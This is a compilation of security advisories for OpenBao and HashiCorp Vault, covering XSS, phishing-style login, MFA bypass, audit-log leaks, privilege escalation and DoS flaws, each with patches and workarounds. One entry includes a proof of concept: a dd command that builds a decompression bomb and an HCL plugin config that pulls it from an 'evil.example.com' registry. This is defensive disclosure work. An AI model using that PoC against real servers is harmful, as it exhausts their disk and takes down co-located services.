Impact

OpenBao installations that have an OIDC/JWT authentication method enabled and a role with callbackmode=direct configured are vulnerable to XSS via the errordescription parameter on the page for a failed authentication.

This allows an attacker access to the token used in the Web UI by a victim.

Patches The errordescription parameter has been replaced with a static error message in v2.5.2

Workarounds The vulnerability can be mitigated by removing any roles with callbackmode set to direct.

Impact

OpenBao does not prompt for user confirmation when logging in via JWT/OIDC and a role with callbackmode set to direct.

This allows an attacker to start an authentication request and perform "remote phishing" by having the victim visit the URL and automatically log-in to the session of the attacker. Despite being based on the authorization code flow, the direct mode calls back directly to the API and allows an attacker to poll for an OpenBao token until it is issued.

Patches Version 2.5.2 includes an additional confirmation screen for direct type logins that requires manual user interaction in order to finish the authentication.

Workarounds This issue can be worked around either by removing any roles with callbackmode=direct or enforcing confirmation for every session on the token issuer side for the Client ID used by OpenBao.

Impact

When OpenBao's initial namespace deletion fails, subsequent retries fail to properly remove all data before marking the namespace as deleted. This can affect any outstanding leases as well as potentially leaving unrelated storage entries around.

Patches

This will be patched in OpenBao v2.5.3.

Workarounds

Users may manually remove mounts prior to deleting the namespace.

Audit logs may be used to identify repeated deletion attempts against the same namespace; sys/raw can be used to see what leases were not correctly deleted.

Summary

ExtractPluginFromImage() in OpenBao's OCI plugin downloader extracts a plugin binary from a container image by streaming decompressed tar data via io.Copy with no upper bound on the number of bytes written. An attacker who controls or compromises the OCI registry referenced in the victim's configuration can serve a crafted image containing a decompression bomb that decompresses to an arbitrarily large file.

The SHA256 integrity check occurs after the full file is written to disk, meaning the hash mismatch is detected only after the damage (disk exhaustion) has already occurred. This allow the attacker to replace legit plugin image with no need to change its signature.

Details

Root cause

helper/pluginutil/oci/downloader.go:301:

go if , copyErr := io.Copy(outFile, tarReader); copyErr != nil {

io.Copy() reads until EOF with no size limit. The tar header.Size field is never validated before the copy, and mutate.Extract decompresses all gzip layers in memory/streaming, resulting in unbounded decompression-to-disk.

PoC

1. Set up a malicious OCI registry 2. Create a decompression bomb binary: bash dd if=/dev/zero bs=1G count=100 > /tmp/bomb-binary 3. Package it in a minimal OCI image 4. Push to the malicious registry 5. Configure victim OpenBao to use this registry: hcl plugin "secrets" "bomb" { image = "evil.example.com/plugin" version = "v1.0.0" binaryname = "openbao-plugin-secrets-bomb" sha256sum = "0000000000000000000000000000000000000000000000000000000000000000" } pluginautodownload = true 6. Start OpenBao (or trigger SIGHUP), load OCI image, disk fill -> cause DoS

Impact

- Denial of Service: Disk exhaustion on the OpenBao server - Cascading failure: Co-located services (databases, other apps) also fail when the disk is full - Difficult recovery: If the process is killed mid-extraction, the partial file remains on disk and is not cleaned up - Repeated exploitation: On SIGHUP or restart with pluginautodownload = true, the bomb is re-downloaded

Remediation

1. Validate header.Size against a configurable maximum before opening the output file 2. Wrap tarReader in io.LimitReader(tarReader, maxSize+1) and check bytes written after copy 3. Add a maxsize configuration field to PluginConfig for operator control (default: 1 GiB)

Impact

OpenBao's namespaces provide multi-tenant separation. A tenant who leaks token accessors can have their token revoked or renewed by a privileged administrator in another tenant.

Patches

This was addressed in v2.5.3.

Impact

When OpenBao revoked privileges on a role in the PostgreSQL database secrets engine, OpenBao failed to use proper database quoting on schema names provided by PostgreSQL. This could lead to role revocation failures, or more rarely, SQL injection as the management user.

This vulnerability was originally from HashiCorp Vault.

Patches

This was addressed in v2.5.3.

Workarounds

Audit table schemas and ensure database users cannot create new schemas and grant privileges on them.

Background

OpenBao's Certificate authentication method, when a token renewal is requested and disablebinding=true is set, attempts to verify the current request's presented mTLS certificate matches the original. Token renewals for other authentication methods do not require any supplied login information.

Impact

Due to incorrect matching, the certificate authentication method would allow renewal of tokens for which the attacker had a sibling certificate+key signed by the same CA, but which did not necessarily match the original role or the originally supplied certificate. This implies an attacker could still authenticate to OpenBao in a similar scope, however, token renewal implies that an attacker may be able to extend the lifetime of dynamic leases held by the original token. This attack requires knowledge of either the original token or its accessor.

This vulnerability is originally from HashiCorp Vault.

Patches

This has been addressed in v2.5.3.

Workarounds

Ensure privileged roles are tightly scoped to single certificates.

OpenBao is an open source identity-based secrets management system. Prior to version 2.5.2, OpenBao installations that have an OIDC/JWT authentication method enabled and a role with callbackmode=direct configured are vulnerable to XSS via the errordescription parameter on the page for a failed authentication. This allows an attacker access to the token used in the Web UI by a victim. The errordescription parameter has been replaced with a static error message in v2.5.2. The vulnerability can be mitigated by removing any roles with callbackmode set to direct.

OpenBao is an open source identity-based secrets management system. Prior to version 2.5.2, OpenBao does not prompt for user confirmation when logging in via JWT/OIDC and a role with callbackmode set to direct. This allows an attacker to start an authentication request and perform "remote phishing" by having the victim visit the URL and automatically log-in to the session of the attacker. Despite being based on the authorization code flow, the direct mode calls back directly to the API and allows an attacker to poll for an OpenBao token until it is issued. Version 2.5.2 includes an additional confirmation screen for direct type logins that requires manual user interaction in order to finish the authentication. This issue can be worked around either by removing any roles with callbackmode=direct or enforcing confirmation for every session on the token issuer side for the Client ID used by OpenBao.

Impact

Similar to HCSEC-2025-13 / CVE-2025-5999, a privileged operator could use the identity group subsystem to add a root policy to a group identity group, escalating their or another user's permissions in the system. Specifically this is an issue when:

1. An operator in the root namespace has access to identity/groups endpoints. 2. An operator does not have policy access.

Otherwise, an operator with policy access could create or modify an existing policy to grant root-equivalent permissions through the sudo capability.

Patches

Patched in version 2.4.4.

Workarounds

Users should audit the use of identity subsystem and deny operators access if it is not in use.

A privileged Vault operator with write permissions to the root namespace’s identity endpoint could escalate their own or another user’s privileges to Vault’s root policy. Fixed in Vault Community Edition 1.18.0 and Vault Enterprise 1.18.0, 1.17.7, 1.16.11, and 1.15.16.

Vault Community and Vault Enterprise Key/Value (kv) Version 2 plugin may unintentionally expose sensitive information in server and audit logs when users submit malformed payloads during secret creation or update operations via the Vault REST API. This vulnerability, identified as CVE-2025-4166, is fixed in Vault Community 1.19.3 and Vault Enterprise 1.19.3, 1.18.9, 1.17.16, 1.16.20.

Impact This is a cross-account impersonation vulnerability in the auth-aws plugin. The vulnerability allows an IAM role from an untrusted AWS account to authenticate by impersonating a role with the same name in a trusted account, leading to unauthorized access.

This impacts all users of the auth-aws plugin who operate in a multi-account AWS environment where IAM role names may not be unique across accounts.

The core of the vulnerability is a flawed caching mechanism that fails to validate the AWS Account ID during authentication. While the use of wildcards in a boundiamprincipalarn configuration significantly increases the attack surface, wildcards are not a prerequisite for exploitation. The vulnerability can be exploited with specific ARN bindings if a role name collision occurs.

Successful exploitation can lead to unauthorized access to secrets, data exfiltration, and privilege escalation. Given that the only prerequisite is a duplicate role name, the severity is considered high.

Patches This vulnerability has been patched in version 0.1.1 of the auth-aws plugin. Users are advised to upgrade to version 0.1.1 or later to remediate this vulnerability.

Workarounds For users who are unable to upgrade to version 0.1.1 immediately, the most effective workaround is to guarantee that IAM role names are unique across all AWS accounts that could potentially interact with your OpenBao environment. This is the most critical mitigation step.

Primary Mitigation: Audit your AWS organizations to identify and rename any duplicate IAM role names. Enforce a naming convention that includes account-specific identifiers to prevent future collisions.

While removing wildcards from your boundiamprincipalarn configuration is still recommended as a security best practice, it will not mitigate this vulnerability if duplicate role names exist.

Credits This vulnerability was discovered and reported by Pavlos Karakalidis

Impact

OpenBao's TOTP secrets engine could accept valid codes multiple times rather than strictly-once. This was caused by unexpected normalization in the underlying TOTP library.

Patches

OpenBao v2.3.2 will patch this issue.

In patching, codes which were not normalized (strictly N numeric digits) will now be rejected. This is a potentially breaking change.

Workarounds

TOTP code verification is a privileged action; only trusted systems should be verifying codes. Ensure that all codes are first normalized before submitting to the OpenBao endpoint.

References

This issue was disclosed to HashiCorp and is the OpenBao equivalent of the following tickets:

- https://discuss.hashicorp.com/t/hcsec-2025-17-vault-totp-secrets-engine-code-reuse/76036 - https://nvd.nist.gov/vuln/detail/CVE-2025-6014

Impact

When using OpenBao's userpass auth method, user enumeration was possible due to timing difference between non-existent users and users with stored credentials. This is independent of whether the supplied credentials were valid for the given user.

Patches

OpenBao v2.3.2 will patch this issue.

Workarounds

Users may use another auth method or apply rate limiting quotas to limit the number of requests in a period of time: https://openbao.org/api-docs/system/rate-limit-quotas/

References

This issue was disclosed to HashiCorp and is the OpenBao equivalent of the following tickets:

- https://discuss.hashicorp.com/t/hcsec-2025-15-timing-side-channel-in-vault-s-userpass-auth-method/76034 - https://nvd.nist.gov/vuln/detail/CVE-2025-6011

Barring further information, this is also assumed to cover and remediate the following additional vulnerability:

- https://discuss.hashicorp.com/t/hcsec-2025-21-vault-user-enumeration-in-userpass-auth-method/76095 - https://nvd.nist.gov/vuln/detail/CVE-2025-6010

If this is not the case as further details emerge, a new CVE will be assigned for remediating that. Otherwise, no further CVE will be sought.

Impact

Attackers could bypass the automatic user lockout mechanisms in the OpenBao Userpass or LDAP auth systems. This was caused by different aliasing between pre-flight and full login request user entity alias attributions.

Patches

OpenBao v2.3.2 will patch this issue.

Workarounds

Existing users may apply rate-limiting quotas on the authentication endpoints: https://openbao.org/api-docs/system/rate-limit-quotas/

References

This issue was disclosed to HashiCorp and is the OpenBao equivalent of the following tickets:

- https://discuss.hashicorp.com/t/hcsec-2025-16-vault-userpass-and-ldap-user-lockout-bypass/76035 - https://nvd.nist.gov/vuln/detail/CVE-2025-6004

Vault and Vault Enterprise (“Vault”) TLS certificate auth method did not correctly validate client certificates when configured with a non-CA certificate as trusted certificate. In this configuration, an attacker may be able to craft a malicious certificate that could be used to bypass authentication. Fixed in Vault 1.15.5 and 1.14.10.

Vault’s SSH secrets engine did not require the validprincipals list to contain a value by default. If the validprincipals and defaultuser fields of the SSH secrets engine configuration are not set, an SSH certificate requested by an authorized user to Vault’s SSH secrets engine could be used to authenticate as any user on the host. Fixed in Vault Community Edition 1.17.6, and in Vault Enterprise 1.17.6, 1.16.10, and 1.15.15.

Vault Community and Vault Enterprise (“Vault”) clusters using Vault’s Integrated Storage backend are vulnerable to a denial-of-service (DoS) attack through memory exhaustion through a Raft cluster join API endpoint . An attacker may send a large volume of requests to the endpoint which may cause Vault to consume excessive system memory resources, potentially leading to a crash of the underlying system and the Vault process itself.

This vulnerability, CVE-2024-8185, is fixed in Vault Community 1.18.1 and Vault Enterprise 1.18.1, 1.17.8, and 1.16.12.

Impact

OpenBao's audit log experienced a regression wherein raw HTTP bodies used by few endpoints were not correctly redacted (HMAC'd). This impacted the following subsystems:

- When using the ACME functionality of PKI, this would result in short-lived ACME verification challenge codes being leaked in the audit logs. - When using the OIDC issuer functionality of the identity subsystem, auth and token response codes along with claims could be leaked in the audit logs.

Third-party plugins may be affected.

Patches

OpenBao v2.4.2 will patch this issue.

Workarounds

If users do not use the above functionality, they are not impacted. ACME verification codes are not usable after verification or challenge expiry so are of limited long-term use.

Impact

OpenBao's audit log did not appropriately redact fields when relevant subsystems sent []byte response parameters rather than strings. This includes, but is not limited to:

- sys/raw with use of encoding=base64, all data would be emitted unredacted to the audit log. - Transit, when performing a signing operation with a derived Ed25519 key, would emit public keys to the audit log.

Third-party plugins may be affected.

This issue has been present since HashiCorp Vault and continues to impact Vault as of v1.20.4.

Patches

OpenBao v2.4.2 will patch this issue.

Workarounds

If users do not use the above functionality, they are not impacted. To prohibit the use of sys/raw globally, ensure rawstorageendpoint=false is set or missing from the server configuration.

Summary

JSON objects after decoding might use more memory than their serialized version. It is possible to tune a JSON to maximize the factor between serialized memory usage and deserialized memory usage (similar to a zip bomb). While reproducing the issue, we could reach a factor of about 35. This can be used to circumvent the [maxrequestsize (https://openbao.org/docs/configuration/listener/tcp/) configuration parameter, which is meant to protect against Denial of Service attacks, and also makes Denial of Service attacks easier in general, as the attacker needs much less resources.

Details

The request body is parsed into a map[string]interface{} https://github.com/openbao/openbao/blob/788536bd3e10818a7b4fb00aac6affc23388e5a9/http/logical.go#L50 very early in the request handling chain (before authentication), which means an attacker can send a specifically crafted JSON object and cause an OOM crash. Additionally, for simpler requests with large numbers of strings, the audit subsystem can consume large quantities of CPU.

To remediate, set maxrequestjsonmemory and maxrequestjsonstrings.

Impact

- Unauthenticated Denial of Service

Resources

This issue was disclosed directly to HashiCorp and is the OpenBao equivalent of the following tickets:

- https://discuss.hashicorp.com/t/hcsec-2025-24-vault-denial-of-service-though-complex-json-payloads/76393 - https://nvd.nist.gov/vuln/detail/CVE-2025-6203

HashiCorp attributes the problem to the audit subsystem. For OpenBao, it was noted the problem was additionally in the requests handling logic.

Impact

Under certain threat models, OpenBao operators with privileged API access may not be system administrators and thus normally lack the ability to update binaries or execute code on the system. Additionally, privileged API operators should be unable to perform TCP connections to arbitrary hosts in the environment OpenBao is executing within. The API-driven audit subsystem granted privileged API operators the ability to do both with an attacker-controlled log prefix. Access to these endpoints should be restricted.

Patches

OpenBao v2.3.2 will patch this issue.

Workarounds

Users may deny all access to the sys/audit/ interface (with create and update) permission via policies with explicit deny grants. This would not restrict root level operators, however, for whom there are no workarounds.

This interface allowed arbitrary filesystem and network (write) access as the user the OpenBao server was running as; in conjunction with allowing custom plugins or other system processes this may enable code execution.

References

This issue was disclosed to HashiCorp and is the OpenBao equivalent of the following tickets:

- https://discuss.hashicorp.com/t/hcsec-2025-14-privileged-vault-operator-may-execute-code-on-the-underlying-host/76033 - https://nvd.nist.gov/vuln/detail/CVE-2025-6000

Impact

OpenBao before v2.3.0 and HashiCorp Vault as of the current v1.19.5 may leak sensitive information in logs when processing malformed data. This is separate from the earlier HCSEC-2025-09 / CVE-2025-4166.

Patches

This issue has been fixed in OpenBao v2.3.0 and later.

Workarounds

Like with HCSEC-2025-09, there is no known workaround except to ensure properly formatted requests from all clients.

Remediation

Users with the capability to search through server and audit logs for any possible exposed secrets can refer to the following snippets to aid in searching:

Audit Log

... "error":"error converting input for field \"password\": expected type 'string', got unconvertible type 'map[string]interface {}', value: '<sensitive data>'" ...

Server Log

error converting input for field "password": expected type 'string', got unconvertible type 'map[string]interface {}', value: '<sensitive data>'

If any matches are found, rotating the affected secret is advised.

References

See also: https://discuss.hashicorp.com/t/hcsec-2025-09-vault-may-expose-sensitive-information-in-error-logs-when-processing-malformed-data-with-the-kv-v2-plugin/74717

See also: https://github.com/go-viper/mapstructure/releases/tag/v2.3.0

See also: https://github.com/go-viper/mapstructure/pull/105 -> https://github.com/go-viper/mapstructure/commit/ed3f92181528ff776a0324107b8b55026e93766a

Impact

OpenBao and HashiCorp Vault allowed an attacker to perform unauthenticated, unaudited cancellation of root rekey and recovery rekey operations, effecting a denial of service.

Patches

In OpenBao v2.2.2 and later, manually setting the configuration option disableunauthedrekeyendpoints=true allows an operator to deny these rarely-used endpoints on global listeners.

In a future OpenBao release communicated on our website, we will set this to true for all users and provide an authenticated alternative.

This vulnerability has been disclosed to HashiCorp; see their website for more information.

Workarounds

If an active proxy or load balancer sits in front of OpenBao, an operator can deny requests to these endpoints from unauthorized IP ranges.

References

See the deprecation notice.

Impact

Accounts with access to the highly-privileged identity entity system in the root namespace may increase their scope directly to the root policy. While the identity system always allowed adding arbitrary policies, which in turn could contain capability grants on arbitrary paths, the root policy is restricted to manual generation using unseal or recovery key shares. The global root policy is not accessible from child namespaces.

Patches

OpenBao v2.3.2 will patch this issue.

Workarounds

Use of deniedparameters in any policy which has access to the affected identity endpoints (on identity entities) may be sufficient to prohibit this type of attack.

References

This issue was disclosed to HashiCorp and is the OpenBao equivalent of the following tickets:

- https://discuss.hashicorp.com/t/hcsec-2025-13-vault-root-namespace-operator-may-elevate-token-privileges/76032 - https://nvd.nist.gov/vuln/detail/cve-2025-5999

Impact

OpenBao allows assignment of policies and MFA attribution based upon entity aliases, chosen by the underlying auth method. When using the usernameasalias=true parameter in the LDAP auth method, the caller-supplied username is used verbatim without normalization, allowing an attacker to bypass alias-specific MFA requirements.

Patches

OpenBao v2.3.2 will patch this issue.

Workarounds

LDAP methods are only vulnerable if using usernameasalias=true. Remove all usage of this parameter and update any entity aliases accordingly.

References

This issue was disclosed to HashiCorp and is the OpenBao equivalent of the following tickets:

- https://discuss.hashicorp.com/t/hcsec-2025-20-vault-ldap-mfa-enforcement-bypass-when-using-username-as-alias/76092 - https://nvd.nist.gov/vuln/detail/CVE-2025-6013

Impact

OpenBao's Login Multi-Factor Authentication (MFA) system allows enforcing MFA using Time-based One Time Password (TOTP). Due to normalization applied by the underlying TOTP library, codes were accepted which could contain whitespace; this whitespace could bypass internal rate limiting of the MFA method and allow reuse of existing MFA codes.

Patches

OpenBao v2.3.2 will patch this issue.

Workarounds

Use of rate-limiting quotas can limit an attacker's ability to exploit this: https://openbao.org/api-docs/system/rate-limit-quotas/

References

This issue was disclosed to HashiCorp and is the OpenBao equivalent of the following tickets:

- https://discuss.hashicorp.com/t/hcsec-2025-19-vault-login-mfa-bypass-of-rate-limiting-and-totp-token-reuse/76038 - https://nvd.nist.gov/vuln/detail/CVE-2025-6015